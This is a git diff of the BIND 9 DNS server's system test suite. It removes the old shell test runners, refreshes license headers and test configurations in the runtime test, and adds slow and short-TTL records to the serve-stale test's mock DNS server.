-        status=$((status+test_status))
-        stop_servers || status=1
-    done
-else
-    echoinfo "I:$systest:pytest not installed, skipping python tests"
-fi
-
-if [ "$run" -eq "0" ]; then
-    echoinfo "I:$systest:No tests were found and run"
-    status=255
-fi
-
-if $stopservers
-then
-    :
-else
-    exit $status
-fi
-
-get_core_dumps() {
-    find "$systest/" \( -name 'core' -or -name 'core.*' -or -name '*.core' \) ! -name '*.gz' ! -name '*.txt' | sort
-}
-
-core_dumps=$(get_core_dumps | tr '\n' ' ')
-assertion_failures=$(find "$systest/" -name named.run -print0 | xargs -0 grep "assertion failure" | wc -l)
-sanitizer_summaries=$(find "$systest/" -name 'tsan.*' | wc -l)
-if [ -n "$core_dumps" ]; then
-    status=1
-    echoinfo "I:$systest:Core dump(s) found: $core_dumps"
-    get_core_dumps | while read -r coredump; do
-        export SYSTESTDIR="$systest"
-        echoinfo "D:$systest:backtrace from $coredump:"
-        echoinfo "D:$systest:--------------------------------------------------------------------------------"
-        binary=$(gdb --batch --core="$coredump" 2>/dev/null | sed -ne "s|Core was generated by \`\([^' ]*\)[' ].*|\1|p")
-        if [ ! -f "${binary}" ]; then
-            binary=$(find "${top_builddir}" -path "*/.libs/${binary}" -type f)
-        fi
-        "${top_builddir}/libtool" --mode=execute gdb \
-                                  -batch \
-                                  -ex bt \
-                                  -core="$coredump" \
-                                  -- \
-                                  "$binary" 2>/dev/null | sed -n '/^Core was generated by/,$p' | cat_d
-        echoinfo "D:$systest:--------------------------------------------------------------------------------"
-        coredump_backtrace="${coredump}-backtrace.txt"
-        echoinfo "D:$systest:full backtrace from $coredump saved in $coredump_backtrace"
-        "${top_builddir}/libtool" --mode=execute gdb \
-                                  -batch \
-                                  -command=run.gdb \
-                                  -core="$coredump" \
-                                  -- \
-                                  "$binary" > "$coredump_backtrace" 2>&1
-        echoinfo "D:$systest:core dump $coredump archived as $coredump.gz"
-        gzip -1 "${coredump}"
-    done
-elif [ "$assertion_failures" -ne 0 ]; then
-    status=1
-    SYSTESTDIR="$systest"
-    echoinfo "I:$systest:$assertion_failures assertion failure(s) found"
-    find "$systest/" -name 'tsan.*' -print0 | xargs -0 grep "SUMMARY: " | sort -u | cat_d
-elif [ "$sanitizer_summaries" -ne 0 ]; then
-    status=1
-    echoinfo "I:$systest:$sanitizer_summaries sanitizer report(s) found"
-fi
-
-print_outstanding_files() {
-    if test -d ${srcdir}/../../../.git; then
-        git status -su --ignored "${systest}/" 2>/dev/null | \
-        sed -n -e 's|^?? \(.*\)|I:'${systest}':file \1 not removed|p' \
-            -e 's|^!! \(.*/named.run\)$|I:'${systest}':file \1 not removed|p' \
-            -e 's|^!! \(.*/named.memstats\)$|I:'${systest}':file \1 not removed|p'
-    fi
-}
-
-print_outstanding_files_oot() {
-    if test -d ${srcdir}/../../../.git; then
-        git -C "${srcdir}/${systest}" ls-files | sed "s|^|${systest}/|" > gitfiles.txt
-        find "${systest}/" -type f ! -name .prepared ! -name Makefile > testfiles.txt
-        grep -F -x -v -f gitfiles.txt testfiles.txt
-        rm -f gitfiles.txt testfiles.txt
-    fi
-}
-
-if [ $status -ne 0 ]; then
-    echofail "R:$systest:FAIL"
-else
-    echopass "R:$systest:PASS"
-    if $clean; then
-        ( cd "${systest}" && $SHELL clean.sh "$@" )
-        if [ "${srcdir}" = "${builddir}" ]; then
-            print_outstanding_files
-        else
-            print_outstanding_files_oot | xargs rm -f
-            find "${systest}/" \( -type d -empty \) -delete 2>/dev/null
-        fi
-    fi
-fi
-
-NAMED_RUN_LINES_THRESHOLD=200000
-find "${systest}" -type f -name "named.run" -exec wc -l {} \; | awk "\$1 > ${NAMED_RUN_LINES_THRESHOLD} { print \$2 }" | sort | while read -r LOG_FILE; do
-    echowarn "I:${systest}:${LOG_FILE} contains more than ${NAMED_RUN_LINES_THRESHOLD} lines, consider tweaking the test to limit disk I/O"
-done
-
-echoend "E:$systest:$(date_with_args)"
-
-exit $status
diff --git a/bin/tests/system/runall.sh b/bin/tests/system/runall.sh
deleted file mode 100755
index daa0f048df..0000000000
--- a/bin/tests/system/runall.sh
+++ /dev/null
@@ -1,109 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# Run all the system tests.
-#
-# Usage:
-#    runall.sh [-c] [-n] [numprocesses]
-#
-#   -c          Force colored output.
-#
-#   -n          Noclean.  Keep all output files produced by all tests.  These
-#               can later be removed by running "cleanall.sh".
-#
-#   numprocess  Number of concurrent processes to use when running the tests.
-#               The default is one, which causes the tests to run sequentially.
-#               (This is ignored when running on Windows as the tests are always
-#               run sequentially on that platform.)
-
-. ./conf.sh
-
-usage="Usage: ./runall.sh [-c] [-n] [numprocesses]"
-
-# Preserve values of environment variables which are already set.
-
-SYSTEMTEST_FORCE_COLOR=${SYSTEMTEST_FORCE_COLOR:-0}
-SYSTEMTEST_NO_CLEAN=${SYSTEMTEST_NO_CLEAN:-0}
-
-# Handle command line switches if present.
-
-while getopts "cn-" flag; do
-    case "$flag" in
-        c) SYSTEMTEST_FORCE_COLOR=1 ;;
-        n) SYSTEMTEST_NO_CLEAN=1 ;;
-	-) break;;
-	*) exit 1;;
-    esac
-done
-export NOCLEAN
-shift $((OPTIND-1))
-
-# Obtain number of processes to use.
-
-if [ $# -eq 0 ]; then
-    numproc=1
-elif [ $# -eq 1 ]; then
-    if [ "$1" -ne "$1" ] 2>&1; then
-        # Value passed is not numeric
-        echo "$usage" >&2
-        exit 1
-    fi
-    numproc=$1
-else
-    echo "$usage" >&2
-    exit 1
-fi
-
-# Run the tests.
-
-export SYSTEMTEST_FORCE_COLOR
-export SYSTEMTEST_NO_CLEAN
-
-status=0
-
-if [ "$NOPARALLEL" = "" ]; then
-    if [ "$CYGWIN" = "" ]; then
-        # Running on Unix, use "make" to run tests in parallel.
-        make -j "$numproc" check
-        status=$?
-    else
-        # Running on Windows: Cygwin "make" is available, but isn't being
-        # used for the build. So we create a special makefile for the purpose
-        # of parallel execution of system tests, and use that.
-        $SHELL parallel.sh > parallel.mk
-        make -f parallel.mk -j "$numproc" check
-        $SHELL ./runsequential.sh
-        $SHELL ./testsummary.sh || status=1
-    fi
-else
-    # the NOPARALLEL environment variable indicates that tests must be
-    # run sequentially.
-    $PERL testsock.pl || {
-        cat <<-EOF
-	I:NOTE: System tests were skipped because they require the
-	I:      test IP addresses 10.53.0.* to be configured as alias
-	I:      addresses on the loopback interface.  Please run
-	I:      "bin/tests/system/ifconfig.sh up" as root to configure them.
-	EOF
-        exit 1
-    }
-    (
-	status=0
-        for testdir in $SUBDIRS; do
-            $SHELL run.sh -r "$testdir" || status=1
-        done
-	echo "$status" > systests.status
-    ) 2>&1 | tee "systests.output"
-    read -r status < systests.status
-    rm systests.status
-fi
-
-exit "$status"
diff --git a/bin/tests/system/runsequential.sh b/bin/tests/system/runsequential.sh
deleted file mode 100755
index 12c3d8e1ff..0000000000
--- a/bin/tests/system/runsequential.sh
+++ /dev/null
@@ -1,24 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# Run system tests that must be run sequentially
-#
-# Note: Use "make check" (or runall.sh) to run all the system tests.  This
-# script will just run those tests that require that each of their nameservers
-# is the only one running on an IP address.
-#
-
-. ./conf.sh
-
-for d in $SEQUENTIALDIRS
-do
-    $SHELL run.sh "${@}" "$d" 2>&1 | tee "test.output.$d"
-done
diff --git a/bin/tests/system/runtime/README b/bin/tests/system/runtime/README
index eeda486e07..9272f12957 100644
--- a/bin/tests/system/runtime/README
+++ b/bin/tests/system/runtime/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 Tests of runtime checks, e.g., that named prevents duplicate processes
 from running.
diff --git a/bin/tests/system/runtime/clean.sh b/bin/tests/system/runtime/clean.sh
index 0af3c3126c..39fdc0cbd0 100644
--- a/bin/tests/system/runtime/clean.sh
+++ b/bin/tests/system/runtime/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/runtime/ns2/named-alt1.conf.in b/bin/tests/system/runtime/ns2/named-alt1.conf.in
index 76fd747e8d..4efb3d76eb 100644
--- a/bin/tests/system/runtime/ns2/named-alt1.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/runtime/ns2/named-alt2.conf.in b/bin/tests/system/runtime/ns2/named-alt2.conf.in
index 0b0c5dcaf7..ab374f801b 100644
--- a/bin/tests/system/runtime/ns2/named-alt2.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/runtime/ns2/named-alt3.conf.in b/bin/tests/system/runtime/ns2/named-alt3.conf.in
index 3337cc574a..0f351aa9c6 100644
--- a/bin/tests/system/runtime/ns2/named-alt3.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
diff --git a/bin/tests/system/runtime/ns2/named-alt4.conf.in b/bin/tests/system/runtime/ns2/named-alt4.conf.in
index dca9ccff06..4c0312acd5 100644
--- a/bin/tests/system/runtime/ns2/named-alt4.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt4.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,4 +18,5 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/runtime/ns2/named-alt5.conf.in b/bin/tests/system/runtime/ns2/named-alt5.conf.in
index d2dbf3f955..71b7e099a0 100644
--- a/bin/tests/system/runtime/ns2/named-alt5.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt5.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,4 +18,5 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/runtime/ns2/named-alt6.conf.in b/bin/tests/system/runtime/ns2/named-alt6.conf.in
index 283457b588..fb79924074 100644
--- a/bin/tests/system/runtime/ns2/named-alt6.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt6.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -16,4 +18,5 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/runtime/ns2/named-alt7.conf.in b/bin/tests/system/runtime/ns2/named-alt7.conf.in
index 3c85bd9346..722316f725 100644
--- a/bin/tests/system/runtime/ns2/named-alt7.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt7.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -14,4 +16,5 @@ options {
 	pid-file "named.pid";
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { fd92:7065:b8e:ffff::2; };
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/runtime/ns2/named-alt9.conf.in b/bin/tests/system/runtime/ns2/named-alt9.conf.in
index 9457d300d4..f0ebcd3462 100644
--- a/bin/tests/system/runtime/ns2/named-alt9.conf.in
+++ b/bin/tests/system/runtime/ns2/named-alt9.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -15,4 +17,5 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 };
diff --git a/bin/tests/system/runtime/ns2/named1.conf.in b/bin/tests/system/runtime/ns2/named1.conf.in
index 5df31515f6..d8b31489cd 100644
--- a/bin/tests/system/runtime/ns2/named1.conf.in
+++ b/bin/tests/system/runtime/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,7 +26,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/runtime/setup.sh b/bin/tests/system/runtime/setup.sh
index 60fc22a57b..f6747ce51a 100644
--- a/bin/tests/system/runtime/setup.sh
+++ b/bin/tests/system/runtime/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh -e
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -11,7 +13,7 @@
 
 . ../conf.sh
 
-$SHELL clean.sh 
+$SHELL clean.sh
 
 copy_setports ns2/named1.conf.in ns2/named.conf
 
@@ -24,10 +26,4 @@ copy_setports ns2/named-alt6.conf.in ns2/named-alt6.conf
 copy_setports ns2/named-alt7.conf.in ns2/named-alt7.conf
 
 mkdir ns2/nope
-
-if [ 1 = "${CYGWIN:-0}" ]
-then
-    setfacl -s user::r-x,group::r-x,other::r-x ns2/nope
-else
-    chmod 555 ns2/nope
-fi
+chmod 555 ns2/nope
diff --git a/bin/tests/system/runtime/tests.sh b/bin/tests/system/runtime/tests.sh
index 5cc11015a0..ac55f250a8 100644
--- a/bin/tests/system/runtime/tests.sh
+++ b/bin/tests/system/runtime/tests.sh
@@ -1,21 +1,23 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 # shellcheck source=conf.sh
 . ../conf.sh
 
-set -e
-
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
-NAMED_DEFAULT_ARGS="-m record,size,mctx -d 99 -g -U 4"
+NAMED_DEFAULT_ARGS="-m record -d 99 -g -U 4"
 
 kill_named() {
 	pidfile="${1}"
@@ -25,10 +27,10 @@ kill_named() {
 
 	pid=$(cat "${pidfile}" 2>/dev/null)
 	if [ "${pid:+set}" = "set" ]; then
-		$KILL -15 "${pid}" >/dev/null 2>&1
+		kill -15 "${pid}" >/dev/null 2>&1
 		retries=10
 		while [ "$retries" -gt 0 ]; do
-			if ! $KILL -0 "${pid}" >/dev/null 2>&1; then
+			if ! kill -0 "${pid}" >/dev/null 2>&1; then
 				break
 			fi
 			sleep 1
@@ -61,7 +63,7 @@ run_named() (
 )
 
 check_pid() (
-	return $(! $KILL -0 "${1}" >/dev/null 2>&1)
+	return $(! kill -0 "${1}" >/dev/null 2>&1)
 )
 
 status=0
@@ -83,7 +85,7 @@ testpid=$(run_named ns2 named$n.run -c named-alt2.conf -D runtime-ns2-extra-2 -X
 test -n "$testpid" || ret=1
 retry_quiet 10 check_named_log "another named process" ns2/named$n.run || ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
-test -n "$testpid" && $KILL -15 $testpid > kill$n.out 2>&1 && ret=1
+test -n "$testpid" && kill -15 $testpid > kill$n.out 2>&1 && ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
 if [ $ret -ne 0 ]; then echo_i "failed"; fi
 status=$((status+ret))
@@ -93,7 +95,7 @@ echo_i "verifying that 'lock-file none' disables process check ($n)"
 ret=0
 testpid=$(run_named ns2 named$n.run -c named-alt3.conf -D runtime-ns2-extra-3)
 test -n "$testpid" || ret=1
-retry_quiet 10 check_named_log "running$" ns2/named$n.run || ret=1
+retry_quiet 60 check_named_log "running$" ns2/named$n.run || ret=1
 grep "another named process" ns2/named$n.run > /dev/null && ret=1
 kill_named ns2/named-alt3.pid || ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
@@ -185,7 +187,7 @@ ret=0
 INSTANCE_NAME="runtime-ns2-extra-7-$(cat ctrl-chars)"
 testpid=$(run_named ns2 named$n.run -c named-alt7.conf -D "${INSTANCE_NAME}")
 test -n "$testpid" || ret=1
-retry_quiet 10 check_named_log "running$" ns2/named$n.run || ret=1
+retry_quiet 60 check_named_log "running$" ns2/named$n.run || ret=1
 grep 'running as.*\\177\\033' ns2/named$n.run > /dev/null || ret=1
 kill_named ns2/named.pid || ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
@@ -198,7 +200,7 @@ ret=0
 INSTANCE_NAME="runtime-ns2-extra-8-$;"
 testpid=$(run_named ns2 named$n.run -c named-alt7.conf -D "${INSTANCE_NAME}")
 test -n "$testpid" || ret=1
-retry_quiet 10 check_named_log "running$" ns2/named$n.run || ret=1
+retry_quiet 60 check_named_log "running$" ns2/named$n.run || ret=1
 grep 'running as.*\\$\\;' ns2/named$n.run > /dev/null || ret=1
 kill_named ns2/named.pid || ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
@@ -212,7 +214,7 @@ LONG_CMD_LINE=$(cat long-cmd-line)
 # shellcheck disable=SC2086
 testpid=$(run_named ns2 named$n.run $LONG_CMD_LINE -c "named-alt7.conf")
 test -n "$testpid" || ret=1
-retry_quiet 10 check_named_log "running$" ns2/named$n.run || ret=1
+retry_quiet 60 check_named_log "running$" ns2/named$n.run || ret=1
 grep "running as.*\.\.\.$" ns2/named$n.run > /dev/null || ret=1
 kill_named ns2/named.pid || ret=1
 test -n "$testpid" && retry_quiet 10 check_pid $testpid || ret=1
@@ -221,18 +223,16 @@ status=$((status+ret))
 
 n=$((n+1))
 echo_i "verifying that named switches UID ($n)"
-if [ "$(id -u)" -eq 0 ] && [ -z "$CYGWIN" ]; then
+if [ "$(id -u)" -eq 0 ]; then
     ret=0
-    TEMP_NAMED_DIR=$(mktemp -d "$(pwd)/ns2/tmp.XXXXXXXX")
-    if [ "$?" -eq 0 ]; then
+    { TEMP_NAMED_DIR=$(mktemp -d "$(pwd)/ns2/tmp.XXXXXXXX"); rc=$?; } || true
+    if [ "$rc" -eq 0 ]; then
 	copy_setports ns2/named-alt9.conf.in "${TEMP_NAMED_DIR}/named-alt9.conf"
-	export SOFTHSM2_CONF="${TEMP_NAMED_DIR}/softhsm2.conf"
-	sh "$TOP_SRCDIR/bin/tests/prepare-softhsm2.sh"
 	chown -R nobody: "${TEMP_NAMED_DIR}"
 	chmod 0700 "${TEMP_NAMED_DIR}"
 	testpid=$(run_named "${TEMP_NAMED_DIR}" "${TEMP_NAMED_DIR}/named$n.run" -u nobody -c named-alt9.conf)
 	test -n "$testpid" || ret=1
-	retry_quiet 10 check_named_log "running$" "${TEMP_NAMED_DIR}/named$n.run" || ret=1
+	retry_quiet 60 check_named_log "running$" "${TEMP_NAMED_DIR}/named$n.run" || ret=1
 	[ -s "${TEMP_NAMED_DIR}/named9.pid" ] || ret=1
 	grep "loading configuration: permission denied" "${TEMP_NAMED_DIR}/named$n.run" > /dev/null && ret=1
 	kill_named "${TEMP_NAMED_DIR}/named9.pid" || ret=1
@@ -245,7 +245,7 @@ if [ "$(id -u)" -eq 0 ] && [ -z "$CYGWIN" ]; then
     if [ $ret -ne 0 ]; then echo_i "failed"; fi
     status=$((status+ret))
 else
-    echo_i "skipped, not running as root or running on Windows"
+    echo_i "skipped, not running as root"
 fi
 
 echo_i "exit status: $status"
diff --git a/bin/tests/system/runtime/tests_sh_runtime.py b/bin/tests/system/runtime/tests_sh_runtime.py
new file mode 100644
index 0000000000..089690e256
--- /dev/null
+++ b/bin/tests/system/runtime/tests_sh_runtime.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_runtime(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/send.pl b/bin/tests/system/send.pl
index a7879e1fac..62b4f7ac48 100644
--- a/bin/tests/system/send.pl
+++ b/bin/tests/system/send.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/serve-stale/.gitignore b/bin/tests/system/serve-stale/.gitignore
index 3d3bc7f474..518f051e4b 100644
--- a/bin/tests/system/serve-stale/.gitignore
+++ b/bin/tests/system/serve-stale/.gitignore
@@ -1,5 +1,4 @@
 /ans2/ans.pid
-/ans2/ans.pl
 /ns1/named.conf
 /ns3/named.conf
 /ns3/root.bk
diff --git a/bin/tests/system/serve-stale/ans2/ans.pl b/bin/tests/system/serve-stale/ans2/ans.pl
index 7a40f50a42..3fdc1fc9aa 100644
--- a/bin/tests/system/serve-stale/ans2/ans.pl
+++ b/bin/tests/system/serve-stale/ans2/ans.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/env perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -47,6 +49,16 @@
 my $SOA = "example 300 IN SOA . . 0 0 0 0 300";
 my $NS = "example 300 IN NS ns.example";
 my $A = "ns.example 300 IN A $localaddr";
+
+#
+# Slow delegation
+#
+my $slowSOA = "slow 300 IN SOA . . 0 0 0 0 300";
+my $slowNS = "slow 300 IN NS ns.slow";
+my $slowA = "ns.slow 300 IN A $localaddr";
+my $slowTXT = "data.slow 2 IN TXT \"A slow text record with a 2 second ttl\"";
+my $slownegSOA = "slow 2 IN SOA . . 0 0 0 0 300";
+
 #
 # Records to be TTL stretched
 #
@@ -56,6 +68,8 @@
 my $negSOA = "example 2 IN SOA . . 0 0 0 0 300";
 my $CNAME = "cname.example 7 IN CNAME target.example";
 my $TARGET = "target.example 9 IN A $localaddr";
+my $SHORTCNAME = "shortttl.cname.example 1 IN CNAME longttl.target.example";
+my $LONGTARGET = "longttl.target.example 600 IN A $localaddr";
 
 sub reply_handler {
     my ($qname, $qclass, $qtype) = @_;
@@ -96,6 +110,12 @@ sub reply_handler {
     # If we are not responding to queries we are done.
     return if (!$send_response);
 
+    if (index($qname, "latency") == 0) {
+        # simulate network latency before answering
+        print "  Sleeping 50 milliseconds\n";
+        select(undef, undef, undef, 0.05);
+    }
+
     # Construct the response and send it.
     if ($qname eq "ns.example" ) {
 	if ($qtype eq "A") {
@@ -164,6 +184,28 @@ sub reply_handler {
 	    push @auth, $rr;
 	}
 	$rcode = "NOERROR";
+    } elsif ($qname eq "shortttl.cname.example") {
+	if ($qtype eq "A") {
+	    my $rr = new Net::DNS::RR($SHORTCNAME);
+	    push @ans, $rr;
+	} else {
+	    my $rr = new Net::DNS::RR($negSOA);
+	    push @auth, $rr;
+	}
+	$rcode = "NOERROR";
+    } elsif ($qname eq "longttl.target.example") {
+	if ($slow_response) {
+                print "  Sleeping 3 seconds\n";
+		sleep(3);
+	}
+	if ($qtype eq "A") {
+	    my $rr = new Net::DNS::RR($LONGTARGET);
+	    push @ans, $rr;
+	} else {
+	    my $rr = new Net::DNS::RR($negSOA);
+	    push @auth, $rr;
+	}
+	$rcode = "NOERROR";
     } elsif ($qname eq "longttl.example") {
 	if ($qtype eq "TXT") {
 	    my $rr = new Net::DNS::RR($LONGTXT);
